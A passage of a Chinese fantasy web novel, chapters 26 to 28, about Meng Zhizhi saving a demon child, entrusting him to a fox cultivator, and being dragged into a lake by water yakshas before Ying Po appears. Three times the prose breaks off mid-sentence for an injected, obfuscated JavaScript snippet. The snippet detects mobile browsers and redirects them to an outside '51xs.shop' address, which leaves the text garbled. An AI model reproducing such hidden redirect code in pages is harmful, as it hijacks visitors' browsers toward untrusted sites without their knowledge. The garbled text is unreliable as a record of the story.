她道:“我们的气息暂时被藏起来了,别人不容易注意到我们。” 樊盈绣道:“你会隐身?” 孟枝枝道:“不是。活物只要存在,便有气场,气场相撞,宛如领地被威胁,很难不被看见。我只是将我们的气场暂时封禁了,只要低调,我们就像自然界中的一颗顽石,不会被任何人注意。” 樊盈绣默了默,道:“你倒是有两把刷子。” 她们很快穿越热闹的东部城市,往西侧森林走去。 孟枝枝一直都很紧张,她一路警惕着那只冒红光的鬼影。可是等她和樊盈绣出来之后,再也没撞见过。 当热闹的城市消失在身后,步入森林的一瞬,光线变暗,一阵阴森压抑的气息蔓延四肢。 头顶有乌鸦凄惨的声叫,却不见乌鸦的影子。 此处上有参天大树遮天,下有密密麻麻的荆棘缠绕,能看得出很少有凡人来此地。 身旁有个樊盈绣,孟枝枝不能一个人飞,只能边赶路,边捏诀清理荆棘。 樊盈绣不知何时也掏出腰间配剑斩断荆棘,坚定地走在孟枝枝的前面。 察觉到前面妖气很重,一种不好的预感涌上心头。 孟枝枝提议道:“我们换条路。” “不行。” 樊盈绣霸道地将前面拦路荆棘一分为二,“必须走这条路。” 孟枝枝打算讲讲道理,道:“县主,我们还不知道此地的邪祟是什么,若是贸然上前,单凭借我的力量,恐怕我们都会葬身此地。” “如果我真的死了,我不会怪你。”樊盈绣双目紧盯前路,大步迈进。 突然,樊盈绣尖叫了一声,她向后摔倒在地,手中佩剑也哐当一声掉落下来。 孟枝枝一看,是一条银环毒蛇。 她立马捏诀,将银环毒蛇制服在地,它动弹不得。 樊盈绣赶紧捡起地上的剑,一斩将蛇头切落,蛇头张开大嘴,露出尖锐的蛇牙,往外喷射出毒液,很快毒液尽,蛇头死。 樊盈绣喘气吁吁,被吓得魂不附体。 孟枝枝平静道:“还要往前走?” 樊盈绣似是下定很大的决心,咬牙切齿道:“走。” 孟枝枝猛地察觉到,前路有什么东西吸引着樊盈绣。 她抬头一看,天空中的各家仙法光束变大了,像一条曲折蜿蜒的银河瀑布,这意味着她们离目标点越来越近。 此时,荆棘路走到头。 一个露天大坑暴露在她们跟前,大坑里堆积着成千上万具妖兽的尸体,尸体上都浮现着黑色的邪气,他们正被熊熊的蓝绿色火焰燃烧着。 孟枝枝意识到那是修士留下来的火焰。 这里焚烧的是,妖的原形。 这世界有一心向道的妖修,但也有为非作歹、和邪祟合作的妖精。她想,这应该是仙门弟子除掉的坏妖,没想到,竟然有这么多。 樊盈绣提着剑,走入那蓝绿色的火焰,她身上的衣物竟然没有瞬间燃烧。 孟枝枝这时意识到,樊盈绣身上戴着白色帏帽是道家法器,她并不是毫无防备。 樊盈绣用剑头翻动着妖的尸体,每翻动一次,不忘在尸体上补上一剑。 突然,她脚下的尸体一动。 一只黑色的獒犬从里面跑了出来,它后腿已经被横切得血肉模糊,全靠前面两只脚拖着残身跑路。 樊盈绣道:“还想跑?!” 她提剑追去,手中不知什么时候拿出一张小网,她投掷了出去。 那网变大,罩住獒犬。獒犬低呜,发出阵阵威胁的兽吼,露出尖锐的牙齿。 孟枝枝道:“捕灵网。你是来猎捕妖怪的?” 樊盈绣将网头收在自己手里,道:“这狗妖吃了我的丫鬟,我追了它一路。这次看你还能躲到哪里去?” 獒犬这时开口说了话,“是你和你的丫鬟想捉我,你们想杀了我。” 樊盈绣缓缓地说出一句:“斩妖除魔,天经地义。” 孟枝枝察觉一股杀气萦绕,她回身丢出一把金箭,金箭正中另一只扑来的黑獒犬,它的脖颈上戴了一颗碧绿的珠子。 原来这獒犬还有同伴! 那只獒犬看上去比受伤的那只獒犬体型小了许多。 他中了孟枝枝的金箭,惨叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050043|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声,瘸着腿一口扑上捕灵网,撕咬起来。 “快放了我娘亲!坏人,你们这群坏人!” 樊盈绣这时候道:“孟芷,你还愣着干嘛?快杀了这小畜生。” 小獒犬后退一步,用充满仇恨的眼神看着她们。 看着捕灵网里苟延残喘的大獒犬,他哭喊着:“娘亲。” “小五,快回去!”大獒犬明显慌乱起来。 “不,我不回去。我要救娘亲!” 小五立马冲樊盈绣咬去,樊盈绣一剑劈了过去,将小五的眼睛戳瞎一只。 小五凄惨倒地,嗷叫不止。 “人类,我求你们。放过小五,他还不会自己化形。他只是个孩子,是无辜的。” 大獒犬化成人形,痛苦伏地,“我黄涂吃人只是为了自保,小五从未被我教过害人。” 樊盈绣道:“狡辩!你化形成人生活在皇都郊外,居心叵测,还吃掉了朝中好几位大臣。” 黄涂冷声道:“我吃的那些人具是贪官污吏。我化成人形之后,一直靠种田、贩卖豆腐为生,本过过一段好时日,但那些贪官不断加重税务,我们送去驿站的马粮,永远不够称,他们却偷偷将民脂民膏笼进自己钱袋中。若不是把我们逼迫至此,我又为何要将他们吃掉?” 樊盈绣讥笑道:“按照你的道理,你吃了我的丫鬟岂不是同样该死?你让我放过那只小孽畜,你说他无辜,那那些大臣的妻子儿女就不无辜了?你杀了他们的丈夫父亲,他们该当何处?如果不是我发现你是妖,你还要装人在人群中混迹多久,是不是要一直吃人吃下去!” 黄涂仰头长笑,身上的苦痛令她微微抽搐,道:“樊家小姐,谁不知道南元国最尊贵的不是皇帝,而是樊家人,你从小便是县主,懂什么人间疾苦?” “你有尝试过挨饿吗?知道树根和泥土的味道吗?体验过家被人霸占,睁眼睡在雪里的感觉吗?有过被人欺压,告状无门,反被倒打一耙,失去家人,失去苦心经营的一切吗?” “我虽是妖,却也想好好做个人。但是人心啊,贪婪无度,要了还想再要。我原以为人类构建的世界,没有丛林凶险,没有天敌虎视眈眈,但我错了。人吃人,从来是看不见的。” 她笑了,是认命又悲凄的笑容,颤动了孟枝枝的心尖。 “我的小五啊,娘亲原本想为你打造一个平安的世界,不用像我们祖祖辈辈都要在丛林中靠厮杀才能活下去,这样……你可以好好长大。” 小五从地上爬了起来,忍着剧痛,仿佛感受到了母亲身上的绝望。 他道:“娘亲,我和娘亲一起……” 一起什么? 是活下去,还是死亡? 孟枝枝动了恻隐之心。 樊盈绣举起手中长剑,道:“妖孽果然是妖孽,没有伦理朝纲,死不认错!” 她一剑向黄涂刺了下去。 小五拼劲全力,一口咬住了她的剑峰,嘴里侵染出鲜血,樊盈绣反手将小五掐住,按在地上。 她举起长剑,一剑要斩下去。 “不要!” 那是母亲的绝喊! 黄涂一声咆哮,使尽妖力,将捕灵网炸开。 她浑身经脉炸断,宛如一个血红的人扑上前,将小五抢进了怀里。 樊盈绣将剑往地上一挥,挥出斑驳的血滴。 “就用你们两只妖怪的命,来献祭我的剑吧!” 26. 第 26 章 此话一出,孟枝枝动身上前。 她手握破损的护她剑,将樊盈绣的剑挑开。 剑在空中翻出花来,瞬间掉落在地。 樊盈绣惊了,道:“孟芷,你在干什么?!” 孟枝枝道:“你捉妖的原因是为了铸剑,生出剑灵?” 樊盈绣道:“是又如何!” “如果不是为了剑灵,你不会打他们的主意。”孟枝枝道,“你想进千霄宫,但是你几乎毫无修炼能力,除非有一把有剑灵的剑,剑灵威力巨大,那样也许千霄宫会收你。” 她想起上一世,樊盈绣真的进了千霄宫成为了剑修,后来还成了受人尊敬的“樊仙子”,她手里的“鲲剑”正是拥有剑灵。 樊盈绣眼神愤怒,道:“你最好别惹我。” 她捡起自己的剑,直指孟枝枝,“给我让开!” “不,”孟枝枝道,“就算要审判他们的罪孽,也轮不到你。” 樊盈绣道:“这就是你回报我的方式?若我偏要他们的命呢!” 她额前红痣鲜艳欲滴,她是皇都城内被人暗地供奉的“菩萨”。 菩萨为民斩妖除魔,天经地义。 但万物都在苟且偷生,菩萨的慈悲之心只渡凡人吗? 如此就是对的吗? 孟枝枝一眨眼,短短一招,就用破损的护他剑将樊盈绣的剑斩成几段。 她将剑横在了樊盈绣的脖颈上,道:“我不让。” 剑身那冰冷的气息,攥住了樊盈绣的呼吸。 她没有想到,孟芷敢这样反抗她! 她几乎是要破口大骂,道:“孟芷,你在为虎作伥!他们杀了人,就该死!你怎么能听信妖怪的谗言?还是你被他们伪装成人的样子迷惑了!” 孟枝枝将灵力注入护他剑中,如今它是一把普通的利器,但依然可以通过灵力操控它,为她所用,她便用护他剑一直剑指着樊盈绣。 “县主,我很清楚我在做什么。我之前就说过,我不欠你。之所以答应你带着你同行,只是因为城中有邪祟,你如果受伤,我会困扰,”她道:“刀剑无眼,还请小心一点。” 她转身去找黄涂和小五。 她将咒枣塞进了黄涂的口中,探了探对方的气息。 她眼神失落,道:“经脉已断尽,妖丹破裂,药石无灵。抱歉,我救不了你。” 小五呲着牙,剩余的那只眼睛爆红,他恨极了人类。 孟枝枝道:“能把小五给我看看吗?他的伤,我还能治。” 黄涂热泪盈眶,“多谢。” 小五仇视着孟枝枝,道:“我不要你,我只要娘亲!” 他一口咬上孟枝枝的胳膊,新鲜的人血进入他的嘴里。 他品尝到一股陌生的铁锈味,他从未伤过人,心下惶恐不安,害怕地松了口。 孟枝枝道:“对不起。” 小五缩在娘亲怀里,表情一怔。 “刚刚不小心伤了你。”孟枝枝轻柔道,“我知道妖怪也分好妖和坏妖,你不是坏妖。让我看看你的伤好吗?你的娘亲很担心你。” 小五抬头,看见黄涂满脸鲜血,她亲吻着他的额头,对他点了点头。 小五乖乖从母亲的怀里出来了。 他脖子碧绿的珠子发着光,让他一下子化成了一个十岁小孩的模样。 孟枝枝为他治伤,道:“这就是掩盖妖气、能令妖化形成人的璧水珠吧?我听说璧水珠埋藏在千年深潭下,要躲过凶猛的水夜叉,才能找到。” “你的娘亲很爱你。” 小五的眼睛瞎了一只,另一只眼睛流出汩汩泪水。 黄涂倒在地上,她的下半身已经开始消散,她急切对孟枝枝道:“恩人,我快死了,求求你,帮我把小五送去玉坤山。” 小五嚎啕大哭,扑在她身上,“娘亲,不要走!不要走!” 黄涂道:“小五,答应娘,一定要去玉坤山。学好本事,照顾好自己。不要恨人,娘希望你好好活着。” “我不,娘亲,我不去玉坤山。”小五疯狂摇动着自己脑袋。 孟枝枝抓住小五的肩膀,克制道:“我答应你,我一定会把小五送去玉坤山,我还有朋友在那里,他们一定会照顾好他。” 黄涂笑了,眼角流出眼泪。 “小五,不要恨娘。” 她的身体渐渐失去力气。 “娘亲!” 万物生灵,终归万物。 世上从此再也没有一只叫黄涂的獒犬妖怪。 黄小五仇视着樊盈绣,他肩膀上下起伏,胸腔像紧绷的弓锯,呼呼作响。他的一只眼瞎了,神情十分凶狠,一点都不像一个十岁的人类小孩。 娘亲是被樊盈绣害死的。 他的眼睛也是被这个女人刺瞎的。 哪怕孟枝枝将他的性命挽救回来,瞎的那只眼睛也没办法恢复原状了。 孟枝枝将横在樊盈绣脖颈上的护他剑收了回来,她一只手握剑,一只手牵住黄小五。 “县主,接下来的路如果你能答应不要找小五的麻烦,我会将你平安送过去。不然,还请县主自寻出路。” 樊盈绣愤愤然,可是她知道自己打不过孟枝枝。 她道:“你当真不怕我把这一切告诉千霄宫的人?” 孟枝枝将护他剑横在身侧,道:“随县主的便。” 樊盈绣道:“你!” 天空中邪祟聚集,那是一团接着一团黑色的浓雾状,正以飞快地速度和修士们五颜六色的法术缠斗。 孟枝枝抬头,她远远看见天空中炸开一朵又一朵的黑色烟花,久不散去,那是邪祟被一群修士用法术定住。 战斗看上去快要结束了。 她道:“时间不多了,请县主快做决定。” 樊盈绣同样看见了天边战况。 她虽然只堪堪入门,但已经不似一般凡人羸弱,她手中还有法器——幕离,就是那个白色帏帽,可以挡住攻击。 她看上去对邪祟惧怕极了。 没了那只獒犬妖怪为她的剑献祭出剑灵,现在要是碰到落单的邪祟,再死在半路,那才是亏了。 她吞咽下这口气,道:“好,我不会找他的麻烦。” 孟枝枝她蹲下身,对黄小五道:“小五,还记得你娘亲对你说了什么吗?” 黄小五一边恨恨地看着樊盈绣,一边将剩下的那只眼转看孟枝枝。 “她害死了我娘,还戳瞎了我的眼睛!” 孟枝枝紧紧牵住他的手,认认真真地告诉他:“你娘亲告诉你,不要恨人。” 黄小五鼻子一酸,道:“小五做不到。” 孟枝枝将他抱进怀里,抚摸着他的头,道:“我知道。” 黄小五的泪瞬间涌了出来。 “你愿意相信我吗?”孟枝枝注视着他。 黄小五咬得唇瓣发白,点了点头。 孟枝枝道:“我会把你送到玉坤山学艺。那里有很多妖修,它们都是跟你和你娘亲一样的好妖,他们会成为你的兄弟姐妹,你不会是一个人。” “我有个妖精朋友叫小桃仙,她心地很好,总是会帮助有困难的妖精。还有一个朋友叫冥漆,喜欢吃,喜欢睡,知道我是人,还是经常帮助我。他们也会对你很好。” 黄小五那只琥珀色的眼睛睁得大大的。 他终于回手紧紧握住孟枝枝的手。 孟枝枝心中微平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064635|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她站起身来。 “县主,我们走吧。” 白玉州西侧森林。 一场由众位仙门弟子集结而成的除邪大战,战斗步入尾声。 在场的所有仙门弟子身上多少都挂点彩,受伤严重的弟子已经被就地救治。 “蓝师兄,我是玉坤山的弟子,请救救我师妹。” 蓝倾走了过去,莲花冠上多了一支金蝶发钗,蝶翅跳动着,十分醒目,他抓住那位受伤弟子输入灵力。 一旁有三位受了皮毛伤的小师弟窃窃私语,他们是修为最低的那批弟子,在这场战斗中被安排打扫战场,将妖邪的尸体抬去焚烧。 一人问道:“蓝倾怎么今日才赶到?” “你还不知道他那个性格吗?一听说要打架,跑得比谁都快。我听说,玉坤山一听到那只大妖来了白玉州就立马下了令,让仙门里修炼一百年以上的妖修都要来白玉州抓妖,结果令刚一下,蓝倾就不知道跑哪里去了!” “是啊,那只大妖一逃出来,就招惹妖邪,集结邪祟、坏妖蚕食各地百姓,打了这么多天,我们才把那些喽啰消灭得差不多,结果那大妖受了那么重的伤,还是跑了。还好云庭师兄已经带了不少弟子去追那只大妖了。真多亏有云庭师兄带领,你说都是师兄,怎么差这么多?” “毕竟是妖嘛!你看看蓝倾,化了人形,还穿得跟个妖精似的,本性难移啊。” 突然一把仕女团扇飞来,将三人扇飞了出去,一声声唉哟接连而起。 蓝倾一手接住团扇,只露出两只微眯的狐狸眼,头顶的耳朵动了动,声音幽幽转转,“你们这三只小朋友好生无礼!” 修仙界的仙门,虽然千霄宫的名气在人界最甚,但并不代表其他仙门就不厉害。玉坤山虽是妖修遍地,但到底妖修寿元长,底子深厚。妖本来就比人更擅长修行,更别提能进玉坤山修行的妖虽不轻易出世,但天资卓越,真要打,还指不定谁打得过谁。 眼前这三位穿着丹青仙衣,分明是千霄宫的。 蓝倾讥笑道:“背后议论别人像个妖精,你们才像个妖精!” 三位弟子脸涨得通红。 他们连忙道歉道:“蓝师兄,我们错了。” “呸。”蓝倾道,“我可不是你们师兄,你们又不是玉坤山的,该叫我狐仙大人。” 三位弟子可不敢真的得罪蓝倾,蓝倾好歹跟云庭师兄是一辈的,同为两大仙门出了名的优秀弟子,一般弟子不敢招惹。但都是仙门弟子要叫什么狐仙大人,也真是侮辱人了。 更别说云庭师兄一向讨厌妖怪,要是他们真低了头,传出去,肯定会被大师兄责罚。 但现在云庭师兄不在,没人撑腰,三位千霄宫弟子脸红了半晌,也开不了口。 梅珊道:“蓝师兄,不要跟这些小弟子开玩笑了,他们都吓着了。云庭师兄不在,我替他们向蓝师兄赔罪。” 说罢,她垂头抱拳。 蓝倾轻轻哼了一声,甚为不满。 他忽然想起在隐世撞见的那个小姑娘,又讨喜又乖巧,一口一个“狐仙前辈”叫得他心里多舒服。 说罢,他又将团扇一扇。 三位千霄宫弟子几乎是跪趴在了地上,向蓝倾磕头。 蓝倾满意地点点头,道:“这才有道歉的样子。” 梅珊看了皱眉头,她身后的师弟师妹们皆忿忿不平,人群里传出声音。 “蓝师兄这样是不是太欺负人了!” 蓝倾狐狸耳朵动了动,眼神轻飘飘地一瞥,道:“我刚刚似乎听见了谁在说我什么?” “要不站出来,仔细说与我听听?” 此话一出,所有人都不敢开口说话了。 27. 第 27 章 梅珊心里憋着气,也不得不护着师弟师妹们,撒谎道:“蓝师兄,没有人说话。” 蓝倾笑眯眯道:“哦,是吗?” 这时,一旁出现了人声纷扰,大家的目光都被吸引了过去。 原来是出现了陌生人。 孟枝枝牵着黄小五,身后跟着樊盈绣。樊盈绣最先瞧着梅珊,她瞄了孟枝枝一眼,看她没有半分察觉,自己便赶紧走了过去。 孟枝枝脆嗓响起:“敢问玉坤山的师兄师姐在此吗?” “原来你也来了。”一双纯白的狐狸耳朵映入她的眼中。 这一声呼喊,使得在场各位瞠目结舌。 蓝倾什么时候跟别的人这么熟稔? 孟枝枝立马抱拳道:“狐仙前辈!” 蓝倾携着团扇,袅袅地走过来,他一眼瞥见她手中牵着的小孩。 “咦,”他佝偻着身子,团扇掩着下巴,狐狸眼摄人心魂,鼻子往前搭轻轻嗅了嗅,道:“獒犬妖,出生刚满十年,你是半妖吧?” 黄小五一下子躲到孟枝枝的身后去了,只露出一只眼睛看蓝倾。 孟枝枝道:“狐仙前辈,我答应了这孩子的母亲,想将这孩子托付给玉坤山,让他上山学艺。行吗?” 蓝倾见她满脸踌躇,道:“这孩子母亲刚死?” 他闻见这小孩身上有其他獒犬妖的血味。 孟枝枝脸有些不自然,用手轻抚着黄小五的头,想教他放松下来,道:“不瞒狐仙前辈,是的。他叫黄小五,他的娘亲叫黄涂。” 蓝倾将团扇掩住半张脸,道:“你见到我,不问小桃仙,却先托付这孩子?” 孟枝枝眼睛一亮,道:“狐仙前辈见到小桃仙了?” 蓝倾气得哼声,道:“你是觉得我狐仙大人像冤大头,专门来替你做事的吗?” 孟枝枝赔笑,道:“不是不是。” “我只是觉得狐仙前辈,法力高强,心地善良,一看就是很厉害,很值得托付的前辈。” 蓝倾的狐狸耳朵舒展开来,“别用花言巧语,要比这个,你还比不过我们狐族。” 他伸出一只手,那手白得发光,长长的白色指甲很尖,就像野兽的指甲一样,但很干净,像打了蜡一样,如玉一般光滑。 “黄小五,如果想为你母亲报仇,就跟着我走。你旁边那个傻丫头,可不会教你如何杀人。” 黄小五一听,立马伸出了半边身子,接过了他的手,走到了蓝倾的身前,一脸坚毅地看着孟枝枝。 孟枝枝道:“狐仙前辈,你这样会教坏小孩子。” 蓝倾满不在乎,将手攀在黄小五的肩膀上,嘴角微微勾起,道:“你不是妖,自然不懂妖。如今他愿意跟我走,就是我玉坤山的弟子,如果你看不惯,就把他带回去,不过……就看他愿不愿意跟你回去。” “黄小五,你愿意跟她回去吗?”他的声音充满着蛊惑。 黄小五看着孟枝枝眼中有不舍,语气硬邦邦地说道:“不,我要学艺,要为娘亲报仇!” “你看,黄小五自己的选择呢。” “这……”孟枝枝开始担忧,心底生出茫然之感。 不远处几个仙门弟子突然倒下。地上一阵阴风刮过,赤灰色的瘴气开始弥漫,将弟子们都吞噬了进去。 有人大喊道:“又来邪祟了!” 然而那股赤灰色瘴气传染得很快,前脚蓝倾还和黄小五在她跟前,后脚,赤灰色瘴气就将他们分割开来了,再也没有碰见过。 黄小五在蓝倾手中,这让她多少放心一些。 她在瘴气中碰见了梅珊等人,樊盈绣跟在梅珊身边,所有人的表情都异常紧张,压根没时间寒暄。 梅珊对众人道:“是从仙门内逃出来的那只大妖!一定是它勾结白玉湖里的水夜叉作乱!” 孟枝枝道:“白玉湖中也有水夜叉?” 那水夜叉是一种丑陋的凶猛恶鬼,以食肉为生。这白玉湖也是城中百姓赖以生存的水源。如果湖下真的有水夜叉,那么百姓的生命就危险了。 梅珊道:“对,原本水夜叉只生活在千年谭底,但那只大妖不知道做了什么事,蛊惑水夜叉从千年谭底游入白玉湖,在城中兴风作浪,我们集结众力,将水夜叉暂时封印在湖中。但是大师兄带人已经去追大妖了,照理来说,大妖应该被降伏,难道大妖又把水夜叉放出来了,那大师兄他们……” 众人不敢深想下去,原本大妖就可怕,如果大妖还放出了凶猛的水夜叉,大师兄他们该怎么对付? 孟枝枝若有所思,她从小桃仙那儿听说过千霄宫逃出一只大妖,又在路上数次听人提起,但从未有人能说出那是什么大妖,也许是千霄宫的私密,不便为外人所知。 但她知道,那只大妖出逃是一件极为严重的事,恐怕她看见的那只坑里死去的妖怪都是被那只大妖蛊惑来的。 她安慰道:“你有没有什么法子联系上你们大师兄?” 梅珊苍白的神情回了些颜色,她朝孟枝枝露出感激的一看,又对师弟师妹们道:“快打开你们的法铃,召唤大师兄。” 所有千霄宫弟子赶紧捏诀,操控数枚金铜色的法铃漂浮空中,开始叮铃作响。 还未响出几声,一道红光乍现,数道鬼影冲击着法铃。一枚又一枚的法铃掉落,还未砸到地面上,法铃就被鬼影吞噬殆尽。 鬼影又向众人冲来,这全部都发生在一瞬间。 孟枝枝赶紧使出咒枣术·金盾,护着众人。 差一点,梅珊他们就被鬼影偷袭吞噬了。 孟枝枝道:“这是我在城中见到的鬼影!” 梅珊众人骇得赶紧为自己撑起一个又一个结界,心下庆幸,还好有孟枝枝在,不然在他们使法铃的时候,鬼影就将他们全部吞噬了。 梅珊道:“这是水夜叉的分身!传说水夜叉无法离开水,就学会了分身术,分身可以在一定时限内上岸生活,由水中本体控制。看来,它们真的突破封印了。” “啊!” 众人回头一看,发现樊盈绣被鬼影咬伤,腿部流出鲜血。 在场所有人皆是有修为之人,只有她堪堪入门,还不会咒术。 孟枝枝赶紧跑到她身边,为她驱走鬼影,又让她吞了咒枣,为她止了血。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081830|136670||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “县主,你没事吧?” 樊盈绣猛地将孟枝枝推开,而后又突然回过神,白色帏帽掀开一半,露出额前红痣,和惨败的面容,她眼神一变,显露脆弱,“我被吓坏了。” 孟枝枝安慰道:“没关系。” 她自觉站在樊盈绣前,保护着她。 梅珊已经命令众弟子开始除邪祟,他们大多是剑修,开始用剑斩邪祟。 一部分弟子没有剑,也有其他法器,比如蒲扇、八卦镜,用咒术去净化邪祟。 孟枝枝也捏起决,一颗一颗咒枣打了出去,每打中一个鬼影,天空便明朗一分。 情形稍微被遏止住。 但突然,一阵狂风刮来,无数黄色风沙从地面掀起,掀得众人都要睁不开眼睛。 水夜叉的分身变得越来越多,眼看着越来越打不下去。 梅珊的声音在耳边响起:“我们被水夜叉的分身带入了它的结界,接下来小心,邪祟的结界会使空间混乱,走太远可能会被传送到别的地方去,大家千万别走散。” “梅、梅珊师姐,我看到了白玉湖。” “对,就在我旁边。” “我也看到了,白玉湖在我上面!” 梅珊急迫道:“千万别靠近白玉湖,白玉湖中有水夜叉的本体,本体比分身还要凶险万分!” 她在紧张中渐渐找回了理性,察觉到一丝不对劲。 照理说封印水夜叉的符箓都出自仙家众弟子之手,封印一破,他们都应该有所察觉才对,怎么来得如此悄无声息? “此处或许有诈,你们都要小心。坚持,我们一定要撑到大师兄回来。” 孟枝枝感觉胸中一阵窒息,她如今也能看见白玉湖,湖就在自己脚底下,低头便能闻到了白玉湖中重重的腥味,她感到十分不舒服。 但战斗从来是艰难的,她和所有人一样,听到梅珊的话,心中增添了力量,只要坚持到云庭他们回来就好。 突然,樊盈绣喊道:“孟芷,水夜叉在你身后!” 孟枝枝赶紧转过身,但一道红光鬼影往她的脸上扑来,她什么都看不见。 她感觉自己被狠狠往后一推,她下意识往前一抓,撕裂了布帛之类的东西,紧抓在手里。 随后她掉落了下来,红光鬼影瞬间褪去。 她往身后白玉湖一看,无数张血口正张得大大的,数颗尖牙伫立着,像陷阱一样。那是水夜叉的本体,它们在等待猎物自投罗网。 她下意识喊道:“护她,救我。” 她猛地意识到,护她剑身破损,被放在她的香囊里,已经沉睡了。 她心中恐惧至极。 还有谁能救她? 她听到梅珊他们在焦急地喊她的名字。 她感到自己砸进了冰凉的湖水里,自己的身体被咬住,被撕扯,疼痛开始蔓延。 她一瞬想起师父,想起皇宫,想起幼时种种。 这是人临死前的走马灯吗? 她咬紧牙关,鲜血浸染了腰间的香囊。 她的肺部进了许多的水,身体愈来愈重,眼睛都睁不开了。 28. 第 28 章 不行,她还要撑住! 眼前里浮现了一幅画面,孟慕华正在为她缝补衣服。 她捧着脸,看着孟慕华道:“师父,医书上说人有魂魄和肉身两种,那如果我灵魂出窍了,我能在外面待多久呀?” 孟慕华用针刮了刮头发,道:“灵魂不能离体太久,否则会很快消散,除非有强大的法器封印,但这样你这个小机灵鬼也看不见外面发生了什么,所以千万别随便乱使用魂术。” 小孟枝枝睁大眼睛道:“那我的灵魂万一被坏人抓走了,师父还能找到我吗?” 孟慕华笑了,道:“只要枝枝的灵魂还在人界,师父用招魂的法器,一定能找到你。” 小孟枝枝竖起大拇指道:“师父好厉害呀!” 下一副画面又现在眼前。 上一世,赢破成了魔君,将她囚禁在了皇宫里,皇宫早已变成一座鬼城。 她使用魂术,让自己灵魂离体,飘荡在鬼城上方。 她悄悄藏了起来,静静地看着赢破抱着她的肉身,发了疯地寻她的魂魄。 她看得腻烦,毫无牵挂地离去。 然而,还未等她走出鬼城太远,赢破就寻来。 他伸出手道:“枝枝,回来。” 孟枝枝摇了摇头,道:“只要我不回去肉身,我的魂魄会消散,赢破,放过我吧。” 赢破笑得残忍,道:“你想离开孤,孤不准!你生生世世只能和孤在一起,无论你逃到哪里,孤都会找到你。你想死,孤不会成全你。” 她听得害怕极了,立马逃走。 赢破却比她想象得更加强大,似鬼的体质不用法器也让他能看见她,无论她去了哪里,他都能循着味过来。 “找到你了。” 这时她的魂魄快要消散,道:“就不能放过我吗?” “不放,你别想了。” 水中的她几乎失去意识,感觉自己坠入了冰天雪地,昏昏欲睡。 有人抱着她,在她耳边嗫嚅:“孟芷,不许睡。我不许你死。” 她心中害怕。 一道闪电般的光在白玉湖中炸开,血腥的红水从湖中泛滥而去。 孟枝枝感觉耳朵轰鸣。 她费力地睁开眼睛,口中不停呛水。 她看见一个模糊的影子在跟前,越来越清晰,那个熟悉的面孔,让她无比恐惧的人。 此时,赢破竟然出现在了她的跟前。 她突然鼻子一酸,道:“你就不能放了我吗?” 她一时间不知道自己是在跟谁说话,脑子混沌不堪。 赢破的皮肤白得透光,他的唇依然鲜红欲滴。水渍打湿了他的脸,却让他俊美的面容显得愈来愈清晰。 他沉着脸,道:“放了你?你傻了吗?这是梦。” 孟枝枝呢喃道,“梦?” 赢破心想,那不然呢? 他原本在皇宫里呆着,正为拿着那只桂花纹香囊,心中愈发烦躁不安,结果一睡便梦到了她。 也不知道梦里的她怎么会这么弱,被那些丑陋的玩意儿欺负得死死的,明明她一贯在他面前挺能的,怎么会被欺负成这样。 孟枝枝不能明白,“水夜叉呢?” 赢破道:“那丑东西叫水夜叉?” “恩。” “死了,我杀的。” 孟枝枝的脸呆住,她道:“你是专门来救我的?” 赢破将她从湖中抱出来,一步一步往岸上走去,二人在水中拖着长长的红色尾巴。 他将她放在树下,蹲下身,一把匕首割破手臂,将血滴喂进她嘴里。 孟枝枝想呕出来。 他掐住她的脸颊,道:“不许吐,给我吞下去。” 孟枝枝血液一下子被涌进了腹中,五官一下子扭曲起来。 赢破脸臭了起来,“我就那么让你讨厌?” 孟枝枝摇摇头,道:“我不讨厌你。” “那你为什么会走?” “我得知了师父的下落,必须得走。” 赢破道:“只是因为这样,不是因为讨厌我?” 孟枝枝道:“我说过,我再也不想恨你。赢破,只要你不伤害我,不要想着怎么害我,我就不讨厌你。” 赢破心跳骤停,他的目光落到她的脸上。 她苍白的唇因为沾染了他的血液,而泛起红色的光泽,让她多了一分妖冶之感。 他伸出指腹,一点点将自己的血擦在她的唇上。 “我将香囊修好了。” “恩?” “你回来吧,从我手中拿回它。” 她微微一怔,唇色被鲜血染成艳丽的红。 白玉湖倒映盈盈波光,若不是湖面上泛着腥臭的血水,一切真宛如梦境一般。 来不及回答他的问题,她心底生出寒意,问道,“赢破,我们真在梦里?” 赢破道:“难道不是?” 她一下提起他的手。 她的双手被水泡得苍白发皱,她伸出另一只手的食指,点在了赢破的食指上。 “我的温度是真的,我能感觉到你。如果是梦,那这梦做得也太真实了。你是不是还在皇宫里?” 赢破也察觉到一丝不对劲,回首遥望四周,白玉湖静谧,四处的柏树随风而动,脚下踏着软草,远处和近处的事物都看得分明。如果是做梦,这个场景也太过清晰了。 少年瘦削的下巴微沉了下,脸色变得渐渐难看起来。 